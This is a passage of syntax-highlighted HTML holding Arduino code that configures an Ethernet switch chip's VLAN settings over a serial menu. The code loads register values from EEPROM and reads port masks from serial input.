loadReg<span style="color: green;">(</span><span style="color: #0000dd;">4</span><span style="color: #000040;">+</span>i<span style="color: #000040;">*</span><span style="color: #0000dd;">2</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">3</span><span style="color: #000040;">+</span>i<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
loadReg<span style="color: green;">(</span><span style="color: #0000dd;">20</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">12</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">16</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
loadReg<span style="color: green;">(</span><span style="color: #0000dd;">22</span><span style="color: #000040;">+</span>i<span style="color: #000040;">*</span><span style="color: #0000dd;">2</span>,<span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">14</span><span style="color: #000040;">+</span>i<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Loaded settings from eeprom"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> setup<span style="color: green;">(</span><span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">begin</span><span style="color: green;">(</span><span style="color: #0000dd;">115200</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">setTimeout</span><span style="color: green;">(</span><span style="color: #0000dd;">60L</span><span style="color: #000040;">*</span><span style="color: #0000dd;">60L</span><span style="color: #000040;">*</span><span style="color: #0000dd;">1000L</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDIO,INPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
pinMode<span style="color: green;">(</span>MDC,INPUT<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Waiting for the switch chip to start-up ( 10 secs)"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
delay<span style="color: green;">(</span><span style="color: #0000dd;">10000</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
loadApplySettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> getInt<span style="color: green;">(</span><span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">while</span><span style="color: green;">(</span> Serial.<span style="color: #007788;">available</span><span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: navy;"><=</span> <span style="color: #0000dd;">0</span><span style="color: green;">)</span> <span style="color: green;">{</span><span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">char</span> c1 <span style="color: navy;">=</span> Serial.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> n1 <span style="color: navy;">=</span> c1<span style="color: #000040;">-</span><span style="color: red;">'0'</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span>c1<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">while</span><span style="color: green;">(</span> Serial.<span style="color: #007788;">available</span><span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: navy;"><=</span> <span style="color: #0000dd;">0</span><span style="color: green;">)</span> <span style="color: green;">{</span><span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">char</span> c2 <span style="color: navy;">=</span> Serial.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> n2 <span style="color: navy;">=</span> c2<span style="color: #000040;">-</span><span style="color: red;">'0'</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span>c2<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> n1 <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span> <span style="color: #000040;">&&</span> n1 <span style="color: navy;"><=</span> <span style="color: #0000dd;">9</span> <span style="color: #000040;">&&</span> n2 <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span> <span style="color: #000040;">&&</span> n2 <span style="color: navy;"><=</span> <span style="color: #0000dd;">9</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span> n1<span style="color: #000040;">*</span><span style="color: #0000dd;">10</span><span style="color: #000040;">+</span>n2<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">else</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span> <span style="color: #000040;">-</span><span style="color: #0000dd;">1</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> printPortMask<span style="color: green;">(</span><span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> current<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> i<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> <span style="color: green;">(</span>current <span style="color: navy;">>></span> i<span style="color: green;">)</span> <span style="color: #000040;">&</span> <span style="color: #208080;">0x1</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"y"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">else</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"n"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> inputPortMask<span style="color: green;">(</span><span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> current<span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> n <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> i<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Current ports (1-8 left to right):"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
printPortMask<span style="color: green;">(</span>current<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">""</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Insert new ports ( y = assign, n = not assign ):"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> i <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> i <span style="color: navy;"><</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span> i<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">char</span> in<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">while</span> <span style="color: green;">(</span> <span style="color: #0000dd;">1</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
in <span style="color: navy;">=</span> Serial.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> in <span style="color: navy;">==</span> <span style="color: red;">'y'</span> <span style="color: #000040;">||</span> in <span style="color: navy;">==</span> <span style="color: red;">'n'</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span>in<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">break</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> in <span style="color: navy;">==</span> <span style="color: red;">'y'</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
n <span style="color: #000040;">|</span><span style="color: navy;">=</span> <span style="color: #0000dd;">1</span> <span style="color: navy;"><<</span> i<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">""</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span> n<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">void</span> loop<span style="color: green;">(</span><span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> k<span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Arduino switch configuration"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"0. Show current configuration"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"1. Assign ports to a specified VID"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"2. Select which ports should remove VLAN tag from outgoing packets"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"3. Select which ports should add a VLAN tag to outgoing packets"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"4. Assign a VID to untagged traffic from a port"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
